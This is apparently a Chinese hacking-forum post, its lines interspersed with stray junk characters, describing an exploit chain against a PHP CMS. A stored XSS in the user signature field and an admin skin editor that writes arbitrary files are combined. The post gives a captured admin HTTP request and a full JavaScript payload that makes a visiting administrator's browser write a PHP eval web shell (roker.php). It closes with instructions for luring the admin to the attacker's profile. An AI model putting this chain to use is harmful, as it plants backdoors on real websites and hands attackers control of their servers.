|
|
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
# i, @7 d! V/ ^. f官网已经修补了,所以重新下了源码8 G6 r# l& E# {$ K+ O5 Z' ~& o
因为 后台登入 还需要认证码 所以 注入就没看了。
, N j, m1 h& u" [4 ]; F: h存在 xss/ t& b- C8 K3 b: Y* n$ G
漏洞文件 user/member/skin_edit.php
- C0 r X: v* M; ^本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:% A, a i) \9 q+ V& V
" i+ D6 r, i* y4 K5 `
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
* v$ e( M- H0 ~2 L5 U
& V& W2 U% h! `- S. ]% ~1 I</textarea></td></tr> u. u5 w% H6 J
* j2 p$ Y( U0 R+ B) e user/do.php ! b4 W8 u) z5 S+ k/ i' L8 J
; a3 d8 |; v: {' E% [1 H/ Q2 J& A% m; j
if($op=='zl'){ //资料
% K2 z* }+ s, a% T6 b% h/ @1 ~6 C
; Y( k/ n5 _' o" R3 i+ s if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
% _- C B1 ?* L* E% ^. R exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));( M0 q$ g+ E- x: b6 S
6 l. U* q& F( g
$sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',2 a$ G; c4 w' D+ ? u
1 x/ `! ~: V, R- z- d- N
CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'1 ]! F! M; r" T0 Z" Q
where CS_Name='".$cscms_name."'";* ^9 u2 Q5 ?1 e. o; `
3 F1 ^4 q* q" f. |# k4 L1 a if($db->query($sql)){9 B+ Y) K! @4 `$ F, H
6 C* q; V9 D8 T9 Q% c exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));& @6 l* W; k1 Z1 S \
) W8 q* ]9 l) `: Y9 H; j9 x }else{: N8 O/ G& h! z4 k
( T8 \5 B( H7 J5 s, \8 k- s5 t! s exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
# n( O8 w* w0 w2 o, U/ Q* ` * k% }2 T* ^2 l% ^7 u6 z8 g, s
}1 b W& R! t; I) H: h
7 ?$ u) B; y: a- h1 w* o5 }# B; W: [1 J$ e1 z
没有 过滤导致xss产生。
, M7 M4 t% M' x后台 看了下 很奇葩的是可以写任意格式文件。。4 [- ?# m% `& ?; q9 X8 `
抓包。。
9 L+ Z/ Z( Y8 ], I
+ G; g& z" F: L$ E4 ^5 u4 O- _5 j3 h$ z$ N7 D* c; q0 A
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
+ a( t2 P) M8 {6 u5 [ - T" `* S& p0 F& z% s8 L# \0 M- O
Accept: text/html, application/xhtml+xml, */*
5 U) k. d* m ?0 m9 P( o* _
, B9 u5 y' E: T9 X8 EReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
2 O# K8 H* }; Z# c( u o8 g/ e7 C U
# a% Z7 @: s$ R$ ZAccept-Language: zh-CN
$ ?. F) ?+ {' q; ?6 a
4 N* Y7 t- ~" H0 E2 b" @User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' y/ C0 t$ S( R3 {
; O- h. O8 z ~
Content-Type: application/x-www-form-urlencoded- s2 L% U) ]. b" H
; @! f3 M% m* G9 u7 ^' L5 C. {
Accept-Encoding: gzip, deflate, y) ?& i0 C" u8 l& e% B
- Y& d! z: h6 c+ U; s% T3 I( Y" l) \3 `Host: 127.0.0.1
/ G- Q2 f7 c% C) s; Y& _ + q3 r( G& n# @0 T8 b3 Y& g
Content-Length: 38% _. \ X& {- a
9 y" a+ t! v: bDNT: 1
) f" w; M' D V! E
* ~9 @9 K* [) IConnection: Keep-Alive7 R/ \$ ~4 P2 t i
; {4 f( x' k/ Q5 V7 h8 lCache-Control: no-cache
! H" A. Z! J% q- _ " h5 M; E1 R) L# l4 W
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f655943 ?- G1 K. G7 w) V$ ?% v
i! K+ z) J, N Y2 T4 s: W
3 @; {8 M% R% F9 T; P, X& x/ u
name=aaa.php&content=%3Cs%3E%3Ca%25%3E
{8 g% ~; b3 y6 p
, L! ?0 k4 ]' H
; v+ x4 H, t, w2 A8 ~( s' X5 ?; R' ?& T& \
于是 构造js如下。
: }; G: w4 p3 J9 |5 v# T
7 R, A0 r% H' M. Z2 x本帖隐藏的内容<script> 1 X. f1 J0 e! c2 ~0 F6 e' R6 _
thisTHost = top.location.hostname;, m( U# s* P0 ~# `! j
% p& E# M1 |0 U* Q4 k: lthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";% ?8 T8 E x6 {$ H$ S% {- c4 v
& D5 U; w+ m/ N7 }
function PostSubmit(url, data, msg) {
/ U: O2 _- B- v7 l, ~9 o; j var postUrl = url;
8 G+ i/ y& \- U; U, o; m
$ l; d# f v" o3 V$ z. }; U var postData = data;
1 C1 V( k4 U( L4 |! y4 T* Y% r- l var msgData = msg;
, i# B/ t1 f; j- g2 q var ExportForm = document.createElement("FORM");
& c/ q# c/ N* H; P0 D X document.body.appendChild(ExportForm);
' |$ y& E! [- P ExportForm.method = "POST";
% v# t2 g8 U9 Q/ f( u. r var newElement = document.createElement("input");
! t& ~+ @- B% z0 w0 X* k, O newElement.setAttribute("name", "name"); 4 T S4 @! k; q, u
newElement.setAttribute("type", "hidden"); 2 o! o! ?8 n: B
var newElement2 = document.createElement("input"); 9 m+ G: s& T H
newElement2.setAttribute("name", "content");
0 p1 H- G/ m! `1 D newElement2.setAttribute("type", "hidden"); # e8 j7 ^0 s9 T# j0 p: f/ Q
ExportForm.appendChild(newElement); 1 R/ _( B5 ~8 h" c& e* J+ B
ExportForm.appendChild(newElement2); 3 r5 n+ u1 E8 f" a+ _1 w
newElement.value = postData;
* _& c3 j5 x- C* P4 z: G newElement2.value = msgData; ! t5 d0 G$ b0 K' [
ExportForm.action = postUrl; : h+ a7 Y5 O9 p/ n5 v1 ?
ExportForm.submit(); . \, r! x( f: u& }+ o. f
};
/ D+ H- E3 X3 j+ {
1 Q6 p2 S+ I( k8 {& h& i6 X) ZPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");5 B# O9 I( m6 f. M3 ~1 x! q9 A5 G8 n
; j9 _7 f3 I; s: n</script>
( |+ S; _; ?& z
B* v& ]- c7 R& Y+ Q$ X
9 f9 s+ v: h( c& P) O' J
6 T$ V, J* z u* a- [, Uhttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入! \2 \/ V2 _6 p* R B P
用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)
1 s+ U2 _) T3 z就会 在 skins\index\html\目录下生成 roker.php 一句话。 | 7 ^' Q" Q6 [+ K9 Y5 s
|
|